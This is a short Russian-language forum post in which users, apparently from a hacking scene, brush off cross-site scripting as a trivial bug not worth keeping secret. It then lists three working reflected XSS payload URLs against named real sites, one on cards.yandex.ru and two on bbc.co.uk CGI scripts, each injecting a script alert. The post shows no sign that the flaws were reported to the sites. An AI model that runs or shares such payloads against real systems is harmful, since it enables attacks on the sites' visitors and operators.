2k1b0rg : во-первых я сам и нашёл. во-вторых - это хсс, думаю если бы я нашёл к примеру инклуд в яндексе=) то об этом я сразу бы не сообщал)) я клоню к тому что скрывать от посторонних глаз хсс глупо - тк такие баги находятся сразу и не представляют особой ценности+) я инашёл за 5 минут глупо имхо
2k00p3r хз сам не видел раньше
---
http://cards.yandex.ru/theme.xhtml?st=Family&topic=Husb-and-Wives&series=xaxa"><script>alert('XAXA')</script><a%20s="
---
http://www.bbc.co.uk/cgi-bin/education/betsie/parser.pl/0005/<script%20src=javascript:alert('XAXA') - на bbc.com все ссылки вели именно на bbc.co.uk
---
http://www.bbc.co.uk/cgi-perl/weather/search/new_search.pl?search_query=xaxa<script>alert('XAXA ')</script>
---